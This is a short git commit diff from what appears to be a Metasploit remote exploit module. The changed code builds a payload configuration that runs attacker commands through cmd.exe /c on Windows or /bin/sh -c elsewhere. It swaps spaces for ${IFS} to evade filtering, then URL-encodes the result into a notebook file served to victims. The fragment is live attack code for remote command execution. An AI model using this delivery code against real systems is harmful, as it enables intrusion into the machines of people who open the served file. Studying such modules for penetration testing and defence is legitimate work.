smcintyre-r7 recommendation for better payload handling
This commit is contained in:
@@ -95,9 +95,16 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
def on_request_uri(cli, request)
|
||||
super unless request.uri.end_with? datastore['URIPATH']
|
||||
|
||||
pload = %({"config":{"executable":"#{payload.encoded.split(' ')[0]}","args":"#{payload.encoded.split(' ')[1..].join(' ')}"}})
|
||||
if target['Platform'] == 'win'
|
||||
config = { 'executable' => 'cmd.exe', 'args' => "/c #{payload.raw}" }
|
||||
else
|
||||
config = { 'executable' => '/bin/sh', 'args' => "-c #{payload.raw.gsub(' ', '${IFS}')}" }
|
||||
end
|
||||
|
||||
pload = JSON.dump({ 'config' => config })
|
||||
|
||||
puts pload
|
||||
pload = CGI.escape(pload).gsub('+', '%20')
|
||||
pload = CGI.escape(pload).gsub('+', '%20') # XXX not suure if this is needed or not
|
||||
|
||||
ipynb = %|{
|
||||
"cells": [
|
||||
|
||||
Reference in New Issue
Block a user